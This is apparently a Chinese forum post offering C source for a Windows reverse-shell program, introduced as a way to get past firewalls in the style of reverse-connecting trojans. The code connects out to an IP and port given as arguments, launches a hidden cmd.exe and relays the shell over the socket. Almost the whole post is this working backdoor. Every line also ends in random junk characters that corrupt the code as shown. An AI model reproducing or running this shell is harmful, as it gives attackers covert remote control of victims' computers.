这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4b:|>Z-
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/* ============================== < cvh1~>(
Rebound port in Windows NT 0V4B Q:v
By wind,2006/7 n:,mo} ?X
===============================*/ e"ehH#i
#include OvtE)ul@
#include DMM<,1
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#pragma comment(lib,"wsock32.lib") X*QS/\
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void OutputShell(); J#zr50@@
SOCKET sClient; xSm;~')g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]1|P|Jp
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void main(int argc,char **argv) 'v"=
{ |;vQ"8J
WSADATA stWsaData; $@D a|d4
int nRet; g1s%x=7/
SOCKADDR_IN stSaiClient,stSaiServer; 8NWo)y49H
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if(argc != 3) X H-_tvB
{ HeOdCr-PN
printf("Useage:\n\rRebound DestIP DestPort\n"); ){*+s RBW
return; c2y,zq|H
} 5&ku]l+
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WSAStartup(MAKEWORD(2,2),&stWsaData); $"r9U|6kk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q?#I{l)V(
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stSaiClient.sin_family = AF_INET; `gX@b^
stSaiClient.sin_port = htons(0); ;V
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BmG(+;;&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vrkY7L3\
{ /ad9Q~nJ
printf("Bind Socket Failed!\n"); rO'DT{Yt
return; x4oWZEd
} =]Vz=<
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FACw;/rW
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s6!6Oqh
{ !+eH8
printf("Connect Error!"); vADiW~^Q^
return; Oynb"T&8
} `*C=R
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OutputShell(); +$h
} gc9R;B1
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void OutputShell() bMyld&ga
{ e$# *t
char szBuff[1024]; |A8@r&
SECURITY_ATTRIBUTES stSecurityAttributes; 5(3O/C{?~
OSVERSIONINFO stOsversionInfo; "& ,ov#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IS2cU'
STARTUPINFO stStartupInfo; CSO'``16
char *szShell; &{}Mds
PROCESS_INFORMATION stProcessInformation; jJy:/!i
unsigned long lBytesRead; ZK5nN9`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Qp>leEs]+6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l~c[} wv
stSecurityAttributes.lpSecurityDescriptor = 0; Zxa.x?:?n
stSecurityAttributes.bInheritHandle = TRUE; c-a,__c?hx
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |9CikLX)7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I//=C6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *'%V}R[>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Y]':gJ
stStartupInfo.wShowWindow = SW_HIDE; +yGQt3U
stStartupInfo.hStdInput = hReadPipe; d*gAL<M7E
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qJhsMo2IH
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GetVersionEx(&stOsversionInfo); f7Gn$E|/r;
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switch(stOsversionInfo.dwPlatformId) ;cor\R
{ ekM?
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case 1: dftBD
szShell = "command.com"; 4&/CES
break; JU 9GJ"
default: 22gh!F%)
szShell = "cmd.exe"; oBzl=N3<
break; {/'T:n#
} y0zMK4b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :|S zD4Ag
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send(sClient,szMsg,77,0); bsIG1&n'T
while(1) IhnBp 6p9
{ $#Pxf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~>2uRjvkwB
if(lBytesRead) k3~9;Z
{ ]v+<K63@T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;_<R +w3-
send(sClient,szBuff,lBytesRead,0); uO?+vYAN
} )!T~l(g
else ex3Qbr
{ *ByHTd
lBytesRead=recv(sClient,szBuff,1024,0); La4S/.
if(lBytesRead<=0) break; v}B%:1P4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ve,g9 I
} !"<[&
} L P<A q
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return; p>6`jr
}